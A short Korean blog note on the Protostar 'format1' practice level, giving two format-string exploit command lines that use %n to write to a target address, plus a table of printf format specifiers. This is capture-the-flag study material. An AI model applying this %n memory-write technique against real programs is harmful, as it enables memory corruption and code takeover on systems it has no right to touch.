https://blog.naver.com/seongjin0526/221330918874
위 블로그 내 나온데로 바이트 길이 조절이 필요함
환경마다 미세하게 길이 값을 다르게 요청해야 정상적으로 결과 값이 print 되는 것 같음
./format1 `python -c 'print "\x38\x96\x04\x08AAAAAA%130$n"'`
./format1 `python -c 'print "\x38\x96\x04\x08AAAA"+"%8x"*127+"%8n"'`
Format String기능
%d | 정수(10진수 int) |
%c | 문자(char) |
%s | 문자열(NULL을 만날 때 까지 출력) |
%f | 실수(float) |
%lf | 실수(double) |
%p | 주소 출력할때 사용, 메모리 크기만큼 자리수가 채워짐 |
%x | 정수(16진수) |
%u | 부호없는 정수 |
%ld | 부호 있는 long형 int |
%n | 4바이트 공간에 현재까지 출력된 바이트 수 입력(남는공간은 0으로 채워짐) |
%hn | 2바이트 공간에 현재까지 출력된 바이트 수 입력 |
%hhn | 1바이트 공간에 현재까지 출력된 바이트 수 입력 |
'시스템' 카테고리의 다른 글
protostar format3 (0) | 2025.01.30 |
---|---|
protostar format2 (0) | 2025.01.29 |
protostar stack5 (0) | 2025.01.28 |
protostar stack2 (0) | 2025.01.27 |
Buffer OverFlow 대응방안 (0) | 2022.10.24 |